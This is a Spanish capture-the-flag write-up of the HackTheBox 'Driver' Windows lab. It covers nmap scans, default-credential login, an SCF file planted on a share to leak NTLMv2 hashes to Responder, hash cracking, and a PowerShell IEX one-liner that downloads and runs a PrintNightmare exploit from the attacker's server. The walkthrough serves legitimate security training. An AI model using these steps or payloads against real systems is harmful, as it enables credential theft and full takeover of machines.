Inicio Driver Writeup
Entrada
Cancelar

Driver Writeup

  • Hoy mostraré esta pequeña Guía acerca de una de mis primeras máquinas windows que hice hace tiempo, aprovechandse de un SCF File Attack para capturar el Hash NTLMv2 y posteriormente crackear por fuerza bruta.

Information Ghatering / ScanPorts

  • Comenzamos con la fase de recolección de información haciendo un escaneo por TCP en todos los puertos con nmap
1
$ nmap -p- --open -sS -vvv  --min-rate 2000 -n -Pn 10.10.11.106 -oG allPorts 

-p- -> escanearemos todos los rangos de puertos (65535)

-sS -> análisis utilizando TCP SYN Este tipo de escaneo, está basado en la velocidad de escaneo, de ahí la versatilidad que mencionamos anteriormente, ya que permite escanear miles de puertos por segundo en una red que se encuentre de>

-vvv -> verbose para que mediante vayas descubriendo puertos se reporten en la terminal

–min-rate 2000 -> paquetes enviados no mas lentos que 2000 paquetes por segundo, envío de paquetes super rápido

-n -> que no aplique resoluci+on de DNS para que no tarde el escaneo

-Pn -> ni que me detecte el descburimiento de hosts

–open -> solo escanear y reportar puertos abiertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ nmap -p- --open -sS --min-rate 2000 -vvv -n -Pn 10.10.11.106 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-11 10:04 CST
Initiating SYN Stealth Scan at 10:04
Scanning 10.10.11.106 [65535 ports]
Discovered open port 80/tcp on 10.10.11.106
Discovered open port 135/tcp on 10.10.11.106
Discovered open port 445/tcp on 10.10.11.106
Discovered open port 5985/tcp on 10.10.11.106
SYN Stealth Scan Timing: About 46.24% done; ETC: 10:05 (0:00:36 remaining)
Completed SYN Stealth Scan at 10:05, 65.70s elapsed (65535 total ports)
Nmap scan report for 10.10.11.106
Host is up, received user-set (0.076s latency).
Scanned at 2023-04-11 10:04:09 CST for 66s
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON
80/tcp   open  http         syn-ack ttl 127
135/tcp  open  msrpc        syn-ack ttl 127
445/tcp  open  microsoft-ds syn-ack ttl 127
5985/tcp open  wsman        syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 65.77 seconds
           Raw packets sent: 131115 (5.769MB) | Rcvd: 53 (2.332KB)

Haré otro escaneo para detectar versiones y servicios para esos puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ nmap -sCV -p80,135,445,5985 10.10.11.106 -oN targeted                                   
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-11 10:05 CST
Nmap scan report for 10.10.11.106
Host is up (0.077s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Microsoft-IIS/10.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-04-11T23:05:46
|_  start_date: 2023-04-11T22:59:51
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.29 seconds

-sCV -> escaneo lanzando scripts que detecten servicios y versiones

-p -> especeficando los puertos a escanear

-oN y todo nuestro output lo guardamos en una captura formato nmap con el nombre de targeted

En este punto al tener habilitado el 5985 winrm (Windows Remote Management) podríamos acceder con evil-winrm pero tendríamos que tener credenciales validas, otro de los puertos donde podríamos ver el contenido es por smb pero al aplicar un null session por smb para conectarme con smbclient me indica acceso denegado, asi que la intrusión será por el puerto 80 (http) primeramente utilizaré Crackmapexec para enumerar información sobre el protocolo SMB en la dirección IP 10.10.11.106. La salida del comando se divide en varias columnas, cada una de las cuales indica información diferente sobre el sistema objetivo:

  • SMB: indica el protocolo que se está enumerando, en este caso, SMB.
  • 10.10.11.106: es la dirección IP del sistema objetivo.
  • 445: es el número de puerto utilizado por el servicio SMB en el sistema objetivo.
  • DRIVER: es el nombre del sistema objetivo.
  • Windows 10 Enterprise 10240 x64: indica el sistema operativo del sistema objetivo.
  • (name:DRIVER): nombre de la computadora objetivo en la red.
  • (domain:DRIVER): indica el nombre del dominio al que pertenece el sistema objetivo.
  • (signing:False): indica si el servicio SMB en el sistema objetivo tiene habilitado el cifrado de firma digital. En este caso, la firma digital no está habilitada.
  • (SMBv1:True): indica si el sistema objetivo admite el protocolo SMB versión 1.

una vez identificado nuestro objetivo y validado por smb con Crackmapexec , buscaré por su puerto 80 que es http y al ingresar al sitio web vemos que nos pide unas credenciales.

intentaré algunas por defecto y después de algunos intentos logramos entrar con admin:admin

al ver mas a detalle el panel hay una opción bastante interesante donde podemos subir y seleccionar cualquier archivo y dicho archivo será visualizado e interpretado por algún usuario ya que nos dice

“Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon” “Seleccione el modelo de impresora y cargue la actualización de firmware correspondiente a nuestro recurso compartido de archivos. Nuestro equipo de pruebas revisará las cargas manualmente e iniciará las pruebas pronto.”

SMBrelay with SCF File Attack

esto ya me hace pensar en algún ataque smb relay para compartir un recurso malicioso y cuando sea revisado por otro usuario a nivel del sistema sea capturado su hash NTLMv2, pero… ¿que recurso podriamos caragar? Explorando un poco me encontré con un Blog acerca de cargar un archivo SCF “los archivos SCF (Shell Command Files) se puedan usar para realizar un conjunto limitado de operaciones, como mostrar el escritorio de Windows o abrir un explorador de Windows. Sin embargo, se puede usar un archivo SCF para acceder a una ruta UNC específica que permite al probador de penetración crear un ataque. “ como vimos al principio tienen el smb habilitado asi que quiero pensar que los recursos compartidos a nivel de red serán expuestos por ahí. en el blog nos indica que queda de la siguiente manera el código malicioso

El código a continuación se puede colocar dentro de un archivo de texto que luego se debe plantar en un recurso compartido de red.

1
2
3
4
5
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

Editado y con mi ip a donde quiero apuntar quedaría de la siguiente forma

1
2
3
4
5
[Shell]
Command=2
IconFile=\\10.10.14.9\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop 

Posteriormente lo guardamos como archivo SCF en mi caso lo guardé como pwn.scf

hará que el archivo se ejecute cuando el usuario explore el archivo. Ahora para capturar el hash o los hashes de los usuarios podriamos compartirnos un servidor con smbserver o utilizar responder , para esto usaré Responder (Responder se utiliza para realizar ataques de envenenamiento de respuestas de protocolos de red. El envenenamiento de respuestas es una técnica que se utiliza para redirigir el tráfico de red a través de un atacante, lo que permite a este último interceptar y manipular la información transmitida entre dos sistemas, envenenamiento de protocolos como LLMNR (Link-Local Multicast Name Resolution), NetBIOS (Network Basic Input/Output System) y DNS (Domain Name System).)
primero me pondŕe a la escucha con Responder y después subiré el archivo SCF creado

una vez seleccionado le damos en submit y después de unos segundos capturará los hash NTLMv2 del usuario

vemos un usuario llamado tony con su respectivo hash ahora copiamos y guardmos el hash, yo lo guardé como hashNtlm

Le aplicamos fuerza bruta con john y tenemos la contraseña en texto claro

Validation credentials using Crackmapexec and Login user with evil-winrm

primero validaré por smb pero también recordemos que el puerto 5985 esta habilitado asi que tambien validaré por winrm y si me logra poner un !Pwn3d quiere decir que podriamos conectarnos por evil-winrm de forma remota a la máquina

y tenemos validaciones correctas y pwned :D, solo nos conectamos con evil-winrm a la máquina y tenemos la primera flag del usuario

Privilege Escalation

Para comenzar con nuestra enumeración pase el winpeas

si buscamos entre las conexiones TCP internas de la máquina, vemos un proceso un poco extraño llamado spoolsv, buscando un poco acerca de ello tenemos un CVE-2022-21999 donde nos permite elevar nuestros privilegios de manera local

buscando el exploit encontré uno muy bueno de powershell donde se aprovechará de la vulnerabilidad “PrintNightmare”

asi que me compartiré un servidor con python3 para proporcionar el “CVE-2021-1675.ps1”

y con un one liner importaremos directamente la función de nuestro script malicioso el y se descargará el recurso que estamos compartiendo

1
*Evil-WinRM* PS C:\Users\tony\privesc> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/CVE-2021-1675.ps1')

y ahora solo basta con seguir los pasos que nos dice el repositorio del exploit para crear un nuevo usuario con la función Invoke-Nightmare y dicho usuario tendrá los privilegios de Administrador

una vez creado observamos con crackmapexec si es válido nuestro usuario creado llamado droix

y nos pone un pwned:D eso quiere decir que ya podemos autenticarnos como droix por winrm, acceder y tener los privilegios de Administrator y leer nuestra flag de root:)

Esta entrada está licenciada bajo CC BY 4.0 por el autor.